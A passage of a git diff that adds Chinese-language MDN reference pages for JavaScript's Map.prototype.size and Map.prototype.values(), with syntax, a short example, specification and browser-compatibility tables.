href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> <br> + 如果你想更新数据,请在GitHub上给我们发推送请求。</p> + +<div class="blockIndicator warning"> +<p><strong>异常提醒</strong></p> +</div> + +<ul> + <li>在JavaScript中直接书写Map.prototype.size可能得到以下异常:<br> + <code>Uncaught TypeError: Method get Map.prototype.size called on incompatible receiver #<Map></code><br> + 异常原因查看:<a href="/zh-CN/docs/">https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Errors/Called_on_incompatible_type</a></li> +</ul> + +<h2 id="相关阅读">相关阅读</h2> + +<ul> + <li>{{jsxref("Map")}}</li> +</ul> diff --git a/files/zh-cn/web/javascript/reference/global_objects/map/values/index.html b/files/zh-cn/web/javascript/reference/global_objects/map/values/index.html new file mode 100644 index 0000000000..933b61c0bc --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/map/values/index.html @@ -0,0 +1,120 @@ +--- +title: Map.prototype.values() +slug: Web/JavaScript/Reference/Global_Objects/Map/values +translation_of: Web/JavaScript/Reference/Global_Objects/Map/values +tags: + - ECMAScript 2015 + - Iterator + - JavaScript + - Map + - Method + - Prototype +browser-compat: javascript.builtins.Map.values +--- +<div><code><strong>values()</strong></code> 方法返回一个新的Iterator对象。它包含按顺序插入Map对象中每个元素的value值。</div> + +<div> </div> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox"><code><em>myMap</em>.values()</code></pre> + +<h3 id="返回值">返回值</h3> + +<p>一个新的 <a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Map" title="此页面仍未被本地化, 期待您的翻译!"><code>Map</code></a> 可迭代对象.</p> + +<h2 id="例子">例子</h2> + +<h3 id="使用_values()"><code>使用 values()</code></h3> + +<pre class="brush:js">var myMap = new Map(); +myMap.set("0", "foo"); +myMap.set(1, "bar"); +myMap.set({}, "baz"); + +var mapIter = myMap.values(); + +console.log(mapIter.next().value); // "foo" +console.log(mapIter.next().value); // "bar" +console.log(mapIter.next().value); // "baz"</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">备注</th> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-map.prototype.values', 'Map.prototype.values')}}</td> + <td>{{Spec2('ES6')}}</td> + <td>初始定义</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-map.prototype.values', 'Map.prototype.values')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>38</td> + <td>{{ CompatGeckoDesktop("20") }}</td> + <td>{{CompatNo}}</td> + <td>25</td> + <td>7.1</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatNo}}</td> + <td>38</td> + <td>{{ CompatGeckoMobile("20") }}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>8</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="查看">查看</h2> + +<ul> + <li>{{jsxref("Map.prototype.entries()")}}</li> + <li>{{jsxref("Map.prototype.keys()")}}</li> +</ul> |